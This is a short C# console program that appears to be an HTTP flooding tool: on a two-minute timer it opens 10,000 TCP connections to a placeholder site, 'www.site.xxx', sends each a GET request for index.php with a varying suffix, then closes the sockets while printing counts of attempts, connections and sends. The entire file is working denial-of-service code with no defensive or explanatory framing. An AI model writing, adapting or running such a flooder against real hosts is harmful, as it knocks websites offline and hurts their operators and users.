using System;
using System.Net;
using System.Net.Sockets;
using System.Threading;

namespace ConsoleApplication1 {
	class Program {
		private const int max = 10000;
		private const int tm = 120000;
		private static int cnt = 0;
		private static int run = 0;
		private static int con = 0;
		private static int sent = 0;
		static int i=0;
		static string site = "www.site.xxx";
		static string s = "GET http://" + site + "/index.php HTTP/1.1\r\nHost:" + site + "\r\nUser-Agent:Opera 0.0";
		static string s2 = "\r\nConnection:Keep-Alive\r\n\r\n";
		public static void StartClient(object s) {
			try {
				IPAddress ipAddress = Dns.GetHostAddresses(site)[0];
				IPEndPoint remoteEP = new IPEndPoint(ipAddress, 80);
				DateTime st = DateTime.Now;
				Socket[] sender = new Socket[max];
				for (int i = 0; i < max; i++) {
					sender[i] = new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);
				}
				for (int i = 0; i < max; i++) {
					try {
						run++;
						sender[i].BeginConnect(remoteEP, new AsyncCallback(conncb), sender[i]);
					} catch (ArgumentNullException ane) {
						Console.WriteLine("ArgumentNullException : {0}", ane.ToString());
					} catch (SocketException se) {
						Console.WriteLine("SocketException : {0}", se.ToString());
					} catch (Exception e) {
						Console.WriteLine("Unexpected exception : {0}", e.ToString());
					}
				}
				TimeSpan ts = DateTime.Now - st;
				cnt++;
				if (cnt % 1 == 0) {
					Console.WriteLine(ts.TotalSeconds);
					Console.WriteLine("R:{0} C:{1} S:{2}", run, con, sent);
				}
			} catch (Exception e) {
				Console.WriteLine(e.ToString());
			}
		}
		static void conncb(IAsyncResult ar) {
			Socket client = (Socket)ar.AsyncState;
			try {
				client.EndConnect(ar);
				con++;
				byte[] b = System.Text.Encoding.ASCII.GetBytes(s + i.ToString() + s2);
				i++;
				client.BeginSend(b, 0, b.Length, 0, new AsyncCallback(sendcb), client);
			} catch (Exception e) {
				client.Close();
			}
		}
		static void sendcb(IAsyncResult ar) {
			Socket client = (Socket)ar.AsyncState;
			try{
				client.EndSend(ar);
				sent++;
			} catch (Exception e) {
			}
			client.Shutdown(SocketShutdown.Both);
			client.Close();
		}
		static void Main(string[] args) {
			object s = new object();
			TimerCallback tc = new TimerCallback(StartClient);
			Timer t = new Timer(tc, s, 0, tm);
			Console.ReadKey();
		}
	}
}